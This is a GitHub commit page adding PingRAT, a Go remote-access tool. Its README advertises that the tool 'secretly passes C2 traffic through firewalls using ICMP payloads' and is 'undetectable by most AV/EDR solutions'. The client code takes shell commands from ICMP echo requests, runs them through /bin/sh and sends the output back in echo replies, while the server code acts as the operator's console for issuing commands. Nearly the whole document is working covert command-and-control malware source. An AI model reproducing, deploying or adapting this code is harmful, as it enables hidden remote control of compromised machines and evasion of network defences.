Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
umutcamliyurt authored Sep 29, 2023
1 parent f4c95ff commit e35a1b8
Show file tree
Hide file tree
Showing 6 changed files with 263 additions and 1 deletion.
44 changes: 43 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,44 @@
# PingRAT
PingRAT secretly passes C2 traffic through firewalls using ICMP payloads.
## PingRAT secretly passes C2 traffic through firewalls using ICMP payloads.

## Features:

- Uses ICMP for Command and Control
- Undetectable by most AV/EDR solutions
- Written in Go

## Installation:
[Download](https://github.com/Nemesis0U/PingRAT/releases) the binaries

or build the binaries and you are ready to go:

$ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go

## Usage:

### Server:
```
./server -h
Usage of ./server:
-d string
Destination IP address
-i string
Listener (virtual) Network Interface (e.g. eth0)
```

### Client:
```
./client -h
Usage of ./client:
-d string
Destination IP address
-i string
(Virtual) Network Interface (e.g., eth0)
```

## Screenshot:

![screenshot](screenshot.png)
92 changes: 92 additions & 0 deletions client.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
package main

import (
"flag"
"fmt"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
"os"
"os/exec"
)

const (
ICMPID = 13170
TTL = 64
Protocol = 1 // ICMP protocol number
)

var (
interfaceName = flag.String("i", "", "(Virtual) Network Interface (e.g., eth0)")
destinationIP = flag.String("d", "", "Destination IP address")
)

func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
}

func icmpShell(conn *icmp.PacketConn) {
buf := make([]byte, 1024)
n, addr, err := conn.ReadFrom(buf)
checkError(err)

// Parse the incoming ICMP packet
msg, err := icmp.ParseMessage(Protocol, buf[:n])
checkError(err)

// Check if it's an Echo Request packet with the correct ID
if echo, ok := msg.Body.(*icmp.Echo); ok && msg.Type == ipv4.ICMPTypeEcho && echo.ID == ICMPID {
icmpPayload := string(echo.Data)

cmd := exec.Command("/bin/sh", "-c", icmpPayload)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Command execution error: %v\n", err)
}

// Create an ICMP Echo Reply packet with the output as data
reply := icmp.Echo{
ID: ICMPID,
Seq: 1,
Data: []byte(output),
}
msg := icmp.Message{
Type: ipv4.ICMPTypeEchoReply,
Code: 0,
Body: &reply,
}

// Serialize the ICMP message
replyBytes, err := msg.Marshal(nil)
checkError(err)

// Send the ICMP Echo Reply packet
_, err = conn.WriteTo(replyBytes, addr)
if err != nil {
fmt.Printf("Error sending ICMP response packet: %v\n", err)
}
}
}

func main() {
flag.Parse()

if *interfaceName == "" || *destinationIP == "" {
fmt.Println("Please provide both interface and destination IP address.")
os.Exit(1)
}

// Create a raw socket for ICMP packets
c, err := icmp.ListenPacket("ip4:icmp", *interfaceName)
checkError(err)
defer c.Close()

fmt.Println("[+] ICMP listener started!")

for {
icmpShell(c)
}
}

7 changes: 7 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
module github.com/Nemesis0U/PingRAT

go 1.20

require golang.org/x/net v0.15.0

require golang.org/x/sys v0.12.0 // indirect
4 changes: 4 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8=
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
Binary file added screenshot.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
117 changes: 117 additions & 0 deletions server.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
package main

import (
"flag"
"fmt"
"net"
"os"
"os/signal"
"syscall"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
"bufio"
)

const (
ICMPID uint16 = 13170
)

var (
interfaceName = flag.String("i", "", "Listener (virtual) Network Interface (e.g. eth0)")
destinationIP = flag.String("d", "", "Destination IP address")
stopSignal = make(chan os.Signal, 1)
icmpShellPacket = make(chan []byte)
)

func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
}

func sendICMPRequest(conn *icmp.PacketConn, destAddr *net.IPAddr, command string) {
// Construct an ICMP Echo Request packet with the command as payload
msg := icmp.Message{
Type: ipv4.ICMPTypeEcho, // Note: You can use ipv4.ICMPTypeEcho instead of icmp.Echo.
Code: 0,
Body: &icmp.Echo{
ID: int(ICMPID),
Data: []byte(command),
},
}

msgBytes, err := msg.Marshal(nil)
checkError(err)

// Send the ICMP Echo Request packet to the client
_, err = conn.WriteTo(msgBytes, destAddr)
checkError(err)
}

func sniffer() {
conn, err := icmp.ListenPacket("ip4:icmp", *interfaceName)
checkError(err)
defer conn.Close()

for {
buf := make([]byte, 1500)
n, _, err := conn.ReadFrom(buf)
checkError(err)

// Parse the incoming ICMP packet
msg, err := icmp.ParseMessage(1, buf[:n])
checkError(err)

// Check if it's an Echo Reply packet with the correct ID
if echo, ok := msg.Body.(*icmp.Echo); ok && msg.Type == ipv4.ICMPTypeEchoReply && echo.ID == int(ICMPID) {
icmpShellPacket <- echo.Data
}
}
}

func main() {
flag.Parse()

if *interfaceName == "" || *destinationIP == "" {
fmt.Println("Please provide both interface and destination IP address.")
os.Exit(1)
}

go sniffer()

signal.Notify(stopSignal, os.Interrupt, syscall.SIGTERM)

fmt.Println("[+] ICMP C2 started!")

// Start reading user input for commands
go func() {
scanner := bufio.NewScanner(os.Stdin)
for {
fmt.Print("Enter command: ")
if scanner.Scan() {
command := scanner.Text()
conn, err := icmp.ListenPacket("ip4:icmp", *interfaceName)
checkError(err)

destAddr, err := net.ResolveIPAddr("ip4", *destinationIP)
checkError(err)

sendICMPRequest(conn, destAddr, command)
conn.Close()
fmt.Println("[+] Command sent to the client:", command)
}
}
}()

for {
select {
case icmpShell := <-icmpShellPacket:
fmt.Print(string(icmpShell))
case <-stopSignal:
fmt.Println("[+] Stopping ICMP C2...")
return
}
}
}

0 comments on commit e35a1b8

Please sign in to comment.